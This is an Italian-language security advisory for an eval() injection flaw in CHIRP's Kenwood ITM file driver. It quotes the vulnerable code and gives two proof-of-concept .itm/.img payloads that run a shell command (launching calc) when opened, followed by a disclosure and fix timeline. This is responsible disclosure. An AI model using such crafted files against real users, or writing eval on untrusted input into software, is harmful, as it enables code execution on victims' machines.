
Exploit proof-of-concept per l'esecuzione arbitraria di codice tramite iniezione di eval() in un'applicazione di programmazione per radioamatori, inclusi payload malevoli di file .itm/.img e analisi delle cause profonde.
eval() nel driver Kenwood ITMProdotto: CHIRP - Un progetto open source per la programmazione di radio amatoriali.
Versioni interessate:
URL: https://github.com/kk7ds/chirp, https://chirpmyradio.com
Versioni interessate: <= chirp-next-20260814
CWE: CWE-95 (Eval Injection)
Il driver del formato file Kenwood ITM di CHIRP passa i valori grezzi dei campi CSV di un file aperto direttamente alla funzione integrata eval() di Python senza alcuna validazione. Un attaccante che consegna un file appositamente costruito a un utente di CHIRP ottiene l'esecuzione di codice arbitrario con i privilegi dell'utente vittima.
chirp/drivers/kenwood_itm.py, _clean_tmode(), righe 66–67:
def _clean_tmode(self, headers, line, mem):
rtone = eval(generic_csv.get_datum_by_header(headers, line, "TXSIG")) # SINK
ctone = eval(generic_csv.get_datum_by_header(headers, line, "RXSIG")) # SINK
I valori TXSIG e RXSIG provengono direttamente da una riga CSV del file aperto. Nessun controllo di tipo, allowlist o sandboxing viene applicato prima di eval().
Di seguito sono riportati due POC.
.itm malevolo// Malicious .itm POC
CH,ZN,RXF,TXF,NAME,TXSIG,RXSIG
1,1,146.520000,146.520000,PoC,__import__('os').system('calc'),0
.img malevolo// Malicious .img POC
CH,ZN,RXF,TXF,NAME,TXSIG,RXSIG
1,0,146520000,146520000,PoC,__import__('os').system('calc.exe'),0
chirpεimgeyJyY2xhc3MiOiAiSVRNUmFkaW8iLCAidmVuZG9yIjogIktlbndvb2QiLCAibW9kZWwiOiAiSVRNIiwgInZhcmlhbnQiOiAiIiwgImNoaXJwX3ZlcnNpb24iOiAiZGFpbHktMjAyMzAxMDEifQ==
{file_name}.img. Se si utilizza il payload .itm, cambiare il menu a tendina del filtro su "All Files" (ITM non è filtrato in CHIRP).{file_name}.itm.2026-8-17 -- Vulnerabilità scoperta
2026-8-17 -- E-mail inviata al manutentore
2026-8-17 -- Il manutentore ha risposto e il codice è stato corretto lo stesso giorno. https://github.com/kk7ds/chirp/commit/39178dbfc4fece083ab9ed20286d6ae3a91a718e
2026-8-21 -- La release dell'installer 20260821 include la correzione.
2026-8-22 -- Emesso NotCVE-2026-0013.
2026-8-23 -- Emesso CVE-2026-78136.